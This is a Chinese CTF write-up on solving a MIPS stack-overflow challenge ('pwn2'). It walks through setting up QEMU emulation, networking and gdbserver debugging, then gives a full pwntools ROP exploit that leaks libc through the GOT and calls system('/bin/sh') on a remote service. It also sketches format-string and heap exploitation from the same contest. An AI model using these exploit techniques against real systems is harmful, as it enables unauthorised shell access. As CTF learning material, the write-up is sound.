题目名字就叫做mips,肯定是mips架构的了。

1
2
$ file pwn2 
pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, not stripped

直接运行程序会显示下面的信息。

所以要搭环境

mips

mip汇编知识https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#mips-%E6%B1%87%E7%BC%96%E5%9F%BA%E7%A1%80

关于mips的历史https://www.cnblogs.com/lcchuguo/p/5118340.html

qemu

QEMU 支持两种操作模式:用户模式仿真和系统模式仿真。用户模式仿真 允许一个 CPU 构建的进程在另一个 CPU 上执行(执行主机 CPU 指令的动态翻译并相应地转换 Linux 系统调用)。系统模式仿真 允许对整个系统进行仿真,包括处理器和配套的外围设备。

老是记不住哪个是大小端

MSB:大端 -EB(大端)

LSB:小端 -EL (小端)

参考blog

总体上都是参照着这个博客搭的。

https://e3pem.github.io/2019/08/23/mips-pwn/mips-pwn%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

上面博客里给的题我没有成功调出来,找到了下面这个链接里有一个相同的题。

https://github.com/shift-crops/CTFWriteups/blob/68c91eda75d93249d56522e131f963c8135248de/2019/0CTF/Finals/EmbeddedHeap/embedded_heap.tar.gz

系统模式

教程

为了和模拟出来的整个系统进行通信,需要先配置qemu的网络。配置网络在网上找到两种方法,另外一种修改/etc/network/interfaces的方法不容易成功,还是推荐下面的方法:

创建网桥:

1
2
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up

创建tap接口,名字为tap0,并添加到网桥:

1
2
3
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0

下载并启动qemu镜像,配置qemu虚拟机中的网络。在这里下载qemu的mips镜像

1
2
# 使用qemu启动下载的镜像
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

创建出来的格式是ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV)

输入root/root进入虚拟机,设置ip:

1
ifconfig eth0 192.168.122.12/24 up

通过qemu的系统模式模拟出来了整个系统,我们可以在系统里面运行mips架构的程序,那么该如何对其进行调试呢?

可以在这里下载(原始的项目访问不了了,贴的是自己fork的)各个架构静态编译的gdbserver,使用gdbserver启动要调试的程序或附加到需要调试的进程上。

1
2
3
4
5
6
7
8
9
# 启动要调试的程序
root@debian-mips:~# ./gdbserver 0.0.0.0:12345 embedded_heap
Process embedded_heap created; pid = 2379
Listening on port 12345

# 附加到要调试的进程
root@debian-mips:~# ./gdbserver 0.0.0.0:12345 --attach $(pidof embedded_heap)
Attached; pid = 2790
Listening on port 12345

接着就可以在qemu外使用gdb-mutiarch来连接该端口进行调试了

1
2
3
4
gdb-multiarch embedded_heap
set arch mips
set endian big
target remote 192.168.122.12:12345

针对本题

这道题需要下载el(little endian)镜像,下载链接https://people.debian.org/~aurel32/qemu/mipsel/

1
2
#启动下载的镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

用户名和密码都是root。

运行题目。

找到对应的gdbserver。

使用gdb连接调试。

教程里写可以使用socat转发数据输入不可见字符。socat从这里获取:mips-binaries-master,一个静态编译的mips工具集。然而这个是MSB的,本题用不了。

qemu虚拟机上外网。

1
2
3
4
5
6
7
8
9
10
11
mips $ sudo ifconfig ens33 down
mips $ sudo brctl addif br0 ens33
bridge br0 does not exist!
mips $ sudo brctl addif virbr0 ens33
mips $ sudo brctl stp virbr0 off
mips $ sudo brctl setfd virbr0 1
mips $ sudo brctl sethello virbr0 1
mips $ sudo ifconfig virbr0 0.0.0.0 promisc up
mips $ sudo ifconfig ens33 0.0.0.0 promisc up
mips $ sudo dhclient virbr0
mips $ sudo ifconfig tap0 0.0.0.0 promisc up

1
2
#启动下载的镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,并且指定了网卡接口名称(就是刚才创建的 tap0,相当于把虚拟机接入网桥)。

参考博客:https://wzt.ac.cn/2019/09/10/QEMU-networking/

运行程序。

1
while true ;do  nc -lvvp 8080 -t -e ~/pwn2; done;

用户模式

教程一路无坑。

交叉编译

理论

https://blog.csdn.net/ajianyingxiaoqinghan/article/details/70917569

现成的工具

https://www.uclibc.org/downloads/binaries/0.9.30.1/

自己下载编译

以下内容来自于博客https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#%E9%85%8D%E7%BD%AEmips%E8%99%9A%E6%8B%9F%E6%9C%BA

  1. 下载buildroot

    1
    2
    3
    wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
    tar -jxvf buildroot-snapshot.tar.bz2
    cd buildroot
  2. 配置buildroot

    1
    2
    3
    sudo apt-get install libncurses-dev patch
    make clean
    make menuconfig

    在出现界面后,选择第一项“Target Architecture”,改成MIPS(little endian),另外,选择“Toolchain”,务必将“Kernel Headers”的Linux版本改成你自己主机的Linux版本(因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的)

    像我做的这样:

  3. 安装

    1
    2
    3
    4
    sudo apt-get install texinfo
    sudo apt-get install bison
    sudo apt-get install flex
    sudo make

    经过约一小时,编译完成后,在buildroot文件夹下多了一个output文件夹,其中就是编译好的文件,可以在buildroot/output/host/usr/bin找到生成的交叉编译工具,编译器是该目录下的mips-linux-gcc文件。

  4. 配置环境变量,使得可以直接使用命令编译文件。

    1
    2
    3
    gedit ~/.bashrc
    export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
    source ~/.bashrc

终于开始做题了

分析

什么保护都没开。

首先看main函数,问你名字是啥,你的名字大小为0x14个字节。虽然这个代码看起来很奇怪吧,但是这个fd=0表示标准输入什么的都是相通的。

问完就进到了这个vuln函数里,有个栈溢出在这里。

利用

应该可以弄一个shellcode。如果是普通的题,可以jmp esp,但我没找着。网上唯一的解是ROP,所以我也跟着那个试了试ROP。思路是先泄露read,再构造system('/bin/sh')'/bin/sh'是在libc里找的,这里就和基础的pwn一毛一样了。自己写的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'debug'
libc=ELF("./lib/libc.so.0")
elf = ELF('./pwn2')
io = remote("192.168.3.26", 8080)
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

ru("What's your name: \n")
sl("fuyeqi")
sleep(0.2)
r()

#leak got
j2s2_s1a0=0x004007A8#gadget
j_s3210=0x004006C8
main=0x00400820
c=''
c+='\x31'*0x24
c+=p32(j_s3210)
c+='\x31'*0x1c
c+=p32(1111)#s0
c+=p32(elf.got['read'])#s1
c+=p32(0x0040092C)#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra
c+='\x20'*0x20
c+=p32(0x400750)
sl(c)

#libcbase
read_addr=u32(r()[0:4])
libc.address=read_addr-libc.symbols['read']

#getshell
c=''
c+='\x31'*0x24
c+=p32(j_s3210)
c+='\x31'*0x1c
c+=p32(1111)#s0
c+=p32(libc.search('/bin/sh').next())#s1
c+=p32(libc.symbols['system'])#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra
sl(c)

io.interactive()

成功获取shell。

后记

本场比赛一共四道pwn题

做出来的题:

  • 一个堆题,跟之前做的某个题特别像。当时写的wp:利用格式化字符串漏洞泄露libc,构造overlap修改 global_max_fast ,然后就可以fastbinattack改 malloc hook 拿shell,但因为有大小限制,所以需要自己在 malloc hook 前填一个size位。
  • 一个32位格式化字符串盲注,当时写的wp:先确定格式化字符串漏洞的偏移是8,dump出全部的程序后构造exp,利用方法是先泄露read的got表地址,然后改sprintf的got表地址为onegadget拿shell。

未做出来的题:

  • 一个64位格式化字符串盲注,因为菜,所以时间不够。
  • 这篇博客写的mips

最近又翻了翻《第二性》,感觉自己不太相信里面说的话了,或许是我太低估自己,太高估环境,老给自己找借口。